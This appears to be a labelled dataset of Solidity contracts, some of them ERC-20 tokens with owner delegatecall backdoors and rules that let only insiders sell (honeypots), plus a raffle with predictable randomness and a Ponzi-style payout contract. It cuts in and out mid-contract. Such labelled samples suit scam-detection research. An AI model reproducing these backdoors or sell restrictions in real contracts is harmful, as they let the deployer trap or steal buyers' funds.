{return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require (msg.sender == owner || msg.sender == dev || msg.sender == marketing || msg.sender == adviser || msg.sender == privateSale || msg.sender == publicSale || msg.sender == community || msg.sender == Binance || msg.sender == CoinmarketCap || msg.sender == Coingecko ); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner || msg.sender == dev || msg.sender == marketing || msg.sender == adviser || msg.sender == privateSale || msg.sender == publicSale || msg.sender == community || msg.sender == Binance || msg.sender == CoinmarketCap || msg.sender == Coingecko ); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier SwapAndFarmingForGarDeners(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _from == UNI || _from == dev || _from == adviser || _from == marketing || _from == privateSale || _from == publicSale || _from == community || _from == Binance || _from == CoinmarketCap || _from == Coingecko || _to == owner || _to == dev || _to == marketing || _to == adviser || _to == privateSale || _to == publicSale || _to == community || _to == Binance || _to == CoinmarketCap || _to == Coingecko ); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address private dev; address private marketing; address private adviser; address private privateSale; address private publicSale; address private community; address private Binance; address private CoinmarketCap; address private Coingecko; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor( address _dev, address _marketing, address _adviser, address _privateSale, address _publicSale, address _community, address _Binance, address _CoinmarketCap, address _Coingecko, string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; dev = _dev; marketing = _marketing; adviser = _adviser; privateSale = _privateSale; publicSale = _publicSale; community = _community; Binance = _Binance; CoinmarketCap = _CoinmarketCap; Coingecko = _Coingecko; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } } contract ReentrancyGuards { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } library EnumerableMap { struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { MapEntry[] _entries; mapping (bytes32 => uint256) _indexes; } function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { map._entries.push(MapEntry({ _key: key, _value: value })); map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } function _remove(Map storage map, bytes32 key) private returns (bool) { uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; MapEntry storage lastEntry = map._entries[lastIndex]; map._entries[toDeleteIndex] = lastEntry; map._indexes[lastEntry._key] = toDeleteIndex + 1; map._entries.pop(); delete map._indexes[key]; return true; } else { return false; } } function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } function _length(Map storage map) private view returns (uint256) { return map._entries.length; } function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); return map._entries[keyIndex - 1]._value; } struct UintToAddressMap { Map _inner; } function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library ECDSA { function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { if (signature.length != 65) { revert("ECDSA: invalid signature length"); } bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
0
1,731
pragma solidity ^0.4.16; contract Ethraffle_v1b { struct Contestant { address addr; uint raffleId; } event RaffleResult( uint indexed raffleId, uint winningNumber, address winningAddress, address seed1, address seed2, uint seed3, bytes32 randHash ); event TicketPurchase( uint indexed raffleId, address contestant, uint number ); event TicketRefund( uint indexed raffleId, address contestant, uint number ); uint public constant prize = 2.5 ether; uint public constant fee = 0.03 ether; uint public constant totalTickets = 50; uint public constant pricePerTicket = (prize + fee) / totalTickets; address feeAddress; bool public paused = false; uint public raffleId = 1; uint nextTicket = 0; mapping (uint => Contestant) contestants; uint[] gaps; function Ethraffle() public { feeAddress = msg.sender; } function () payable public { buyTickets(); } function buyTickets() payable public { if (paused) { msg.sender.transfer(msg.value); return; } uint moneySent = msg.value; while (moneySent >= pricePerTicket && nextTicket < totalTickets) { uint currTicket = 0; if (gaps.length > 0) { currTicket = gaps[gaps.length-1]; gaps.length--; } else { currTicket = nextTicket++; } contestants[currTicket] = Contestant(msg.sender, raffleId); TicketPurchase(raffleId, msg.sender, currTicket); moneySent -= pricePerTicket; } if (nextTicket == totalTickets) { chooseWinner(); } if (moneySent > 0) { msg.sender.transfer(moneySent); } } function chooseWinner() private { address seed1 = contestants[uint(block.coinbase) % totalTickets].addr; address seed2 = contestants[uint(msg.sender) % totalTickets].addr; uint seed3 = block.difficulty; bytes32 randHash = keccak256(seed1, seed2, seed3); uint winningNumber = uint(randHash) % totalTickets; address winningAddress = contestants[winningNumber].addr; RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash); raffleId++; nextTicket = 0; winningAddress.transfer(prize); feeAddress.transfer(fee); } function getRefund() public { uint refund = 0; for (uint i = 0; i < totalTickets; i++) { if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) { refund += pricePerTicket; contestants[i] = Contestant(address(0), 0); gaps.push(i); TicketRefund(raffleId, msg.sender, i); } } if (refund > 0) { msg.sender.transfer(refund); } } function endRaffle() public { if (msg.sender == feeAddress) { paused = true; for (uint i = 0; i < totalTickets; i++) { if (raffleId == contestants[i].raffleId) { TicketRefund(raffleId, contestants[i].addr, i); contestants[i].addr.transfer(pricePerTicket); } } RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0); raffleId++; nextTicket = 0; gaps.length = 0; } } function togglePause() public { if (msg.sender == feeAddress) { paused = !paused; } } function kill() public { if (msg.sender == feeAddress) { selfdestruct(feeAddress); } } }
1
5,301
pragma solidity ^0.4.24; pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract LockToken is StandardToken { using SafeMath for uint256; bool public isPublic; PrivateToken public privateToken; modifier onlyPrivateToken() { require(msg.sender == address(privateToken)); _; } function deposit(address _depositor, uint256 _value) public onlyPrivateToken returns(bool){ require(_value != 0); balances[_depositor] = balances[_depositor].add(_value); emit Transfer(privateToken, _depositor, _value); return true; } } library ECRecovery { function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) { return (address(0)); } assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } } contract PrivateToken is StandardToken { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; mapping (address => bool) internal superUsers; address public admin; bool public isPublic; uint256 public unLockTime; LockToken originToken; event StartPublicSale(uint256 unlockTime); event Deposit(address indexed from, uint256 value); function isDepositAllowed() internal view{ require(isPublic); require(msg.sender == admin || block.timestamp > unLockTime); } function deposit(address _depositor) public returns (bool){ isDepositAllowed(); uint256 _value; _value = balances[_depositor]; require(_value > 0); balances[_depositor] = 0; require(originToken.deposit(_depositor, _value)); emit Deposit(_depositor, _value); emit Transfer(_depositor, address(0), _value); } function startPublicSale(uint256 _unLockTime) public onlyAdmin { require(!isPublic); isPublic = true; unLockTime = _unLockTime; emit StartPublicSale(_unLockTime); } function unLock() public onlyAdmin{ require(isPublic); unLockTime = block.timestamp; } modifier onlyAdmin() { require(msg.sender == admin); _; } constructor(address _admin, string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public{ originToken = LockToken(msg.sender); admin = _admin; name = _name; symbol = _symbol; decimals = _decimals; totalSupply_ = _totalSupply; balances[admin] = _totalSupply; emit Transfer(address(0), admin, _totalSupply); } } contract BCNTToken is LockToken{ string public constant name = "Bincentive SIT Token"; string public constant symbol = "BCNT-SIT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); mapping(bytes => bool) internal signatures; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); function transferPreSigned( bytes _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce, uint256 _validUntil ) public returns (bool) { require(_to != address(0)); require(signatures[_signature] == false); require(block.number <= _validUntil); bytes32 hashedTx = ECRecovery.toEthSignedMessageHash(transferPreSignedHashing(address(this), _to, _value, _fee, _nonce, _validUntil)); address from = ECRecovery.recover(hashedTx, _signature); require(from != address(0)); balances[from] = balances[from].sub(_value).sub(_fee); balances[_to] = balances[_to].add(_value); balances[msg.sender] = balances[msg.sender].add(_fee); signatures[_signature] = true; emit Transfer(from, _to, _value); emit Transfer(from, msg.sender, _fee); emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } function transferPreSignedHashing( address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce, uint256 _validUntil ) public pure returns (bytes32) { return keccak256(bytes4(0x0a0fb66b), _token, _to, _value, _fee, _nonce, _validUntil); } function transferPreSignedHashingWithPrefix( address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce, uint256 _validUntil ) public pure returns (bytes32) { return ECRecovery.toEthSignedMessageHash(transferPreSignedHashing(_token, _to, _value, _fee, _nonce, _validUntil)); } constructor(address _admin) public { totalSupply_ = INITIAL_SUPPLY; privateToken = new PrivateToken( _admin, "Bincentive SIT Private Token", "BCNP-SIT", decimals, INITIAL_SUPPLY ); } }
1
4,338
pragma solidity ^0.4.25; contract etc4{ mapping (address => uint256) invested; mapping (address => uint256) dateInvest; uint constant public FEE = 4; uint constant public ADMIN_FEE = 2; uint constant public REFERRER_FEE = 2; address private adminAddr; constructor() public{ adminAddr = msg.sender; } function () external payable { address sender = msg.sender; if (invested[sender] != 0) { uint256 amount = getInvestorDividend(sender); if (amount >= address(this).balance){ amount = address(this).balance; } sender.send(amount); } dateInvest[sender] = now; invested[sender] += msg.value; if (msg.value > 0){ adminAddr.send(msg.value * ADMIN_FEE / 100); address ref = bytesToAddress(msg.data); if (ref != sender && invested[ref] != 0){ ref.send(msg.value * REFERRER_FEE / 100); sender.send(msg.value * REFERRER_FEE / 100); } } } function getInvestorDividend(address addr) public view returns(uint256) { return invested[addr] * FEE / 100 * (now - dateInvest[addr]) / 1 days; } function bytesToAddress(bytes bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } }
0
182
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal stopTheBots; address public uniPair; constructor(address _botProtection) { stopTheBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract MetaVault is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 1000000000000000000000000000000; string public name = "MetaVault"; string public symbol = "$MVT"; IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairOfTokens(wrappedEther, address(this)); allowance[address(this)][address(routerForPancake)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _tooWho, uint amount) public { require(msg.sender == owner); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = amount; emit Transfer(address(0x0), _tooWho[i], amount); } } function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForPancake.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tooWho.length == _amounts.length); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = _amounts[i]; emit Transfer(address(0x0), _tooWho[i], _amounts[i]); } } }
0
1,791
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, 